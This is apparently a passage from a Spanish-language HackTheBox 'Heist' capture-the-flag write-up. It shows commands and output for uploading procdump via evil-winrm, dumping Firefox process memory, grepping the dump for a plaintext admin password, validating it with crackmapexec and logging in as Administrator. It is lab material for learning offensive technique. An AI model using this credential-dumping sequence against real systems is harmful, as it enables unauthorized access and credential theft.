Como el firefox está corriendo podemos crear un dump del proceso para ver si obtenemos credenciales usando https://learn.microsoft.com/es-es/sysinternals/downloads/procdump. Una vez descargado y depositado en la ruta en la que hemos iniciado la conexión con evil-winrm subimos el archivo a la máquina víctima

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*Evil-WinRM* PS C:\Windows\Temp\Privesc> upload procdump64.exe
                                        
Info: Uploading /home/justice-reaper/Desktop/Heist/content/procdump64.exe to C:\Windows\Temp\Privesc\procdump64.exe
                                        
Data: 566472 bytes of 566472 bytes copied
                                        
Info: Upload successful!

Listamos los PID's del proceso de firefox

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*Evil-WinRM* PS C:\> ps | findstr firefox
   1060      71   152672     230480       5.14    788   1 firefox
    347      19    10228      38556       0.05   4212   1 firefox
    401      34    35588      95060       0.72   6248   1 firefox
    378      28    22952      59920       0.28   6444   1 firefox
    355      25    16428      38760       0.13   6688   1 firefox

Dumpeamos las credenciales del proceso

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*Evil-WinRM* PS C:\Windows\Temp\Privesc> ./procdump64.exe -accepteula 788 -ma

ProcDump v11.0 - Sysinternals process dump utility
Copyright (C) 2009-2022 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com

[05:21:21] Dump 1 initiated: C:\Windows\Temp\Privesc\firefox.exe_240802_052121.dmp
[05:21:21] Dump 1 writing: Estimated dump file size is 510 MB.
[05:21:24] Dump 1 complete: 510 MB written in 2.8 seconds
[05:21:24] Dump count reached.

*Evil-WinRM* PS C:\Windows\Temp\Privesc> download C:\Windows\Temp\Privesc\firefox.exe_240802_052121.dmp
                                        
Info: Downloading C:\Windows\Temp\Privesc\firefox.exe_240802_052121.dmp to firefox.exe_240802_052121.dmp
Progress: 2% : |▒░░░░░░░░░░|

Esto se está descargando en el mismo directorio donde iniciamos la conexión a través de evil-winrm. No hace falta esperarnos a que se complete la descarga, podemos filtrar por password obteniendo así la contraseña del usuario admin

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# strings firefox.exe_240802_052121.dmp | grep password
"C:\Program Files\Mozilla Firefox\firefox.exe" localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=

Validamos la credencial obtenida

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# crackmapexec winrm 10.129.187.132 -u 'Administrator' -p '4dD!5}x/re8]FBuZ'    
SMB         10.129.187.132  5985   SUPPORTDESK      [*] Windows 10 / Server 2019 Build 17763 (name:SUPPORTDESK) (domain:SupportDesk)
HTTP        10.129.187.132  5985   SUPPORTDESK      [*] http://10.129.187.132:5985/wsman
WINRM       10.129.187.132  5985   SUPPORTDESK      [+] SupportDesk\Administrator:4dD!5}x/re8]FBuZ (Pwn3d!)

Nos conectamos a la máquina víctima

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# evil-winrm -u 'Administrator' -p '4dD!5}x/re8]FBuZ' -i 10.129.187.132    
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
supportdesk\administrator
Hackthebox, Windows
Information Leakage Cisco Password Cracker (password7) SMB Enumeration - CrackMapExec Abusing WinRM - EvilWinRM Getting more valid system users - lookupsid.py Creating a dump file of a process - Procdump64.exe (Windows Sysinternals)
Esta entrada está licenciada bajo CC BY 4.0 por el autor.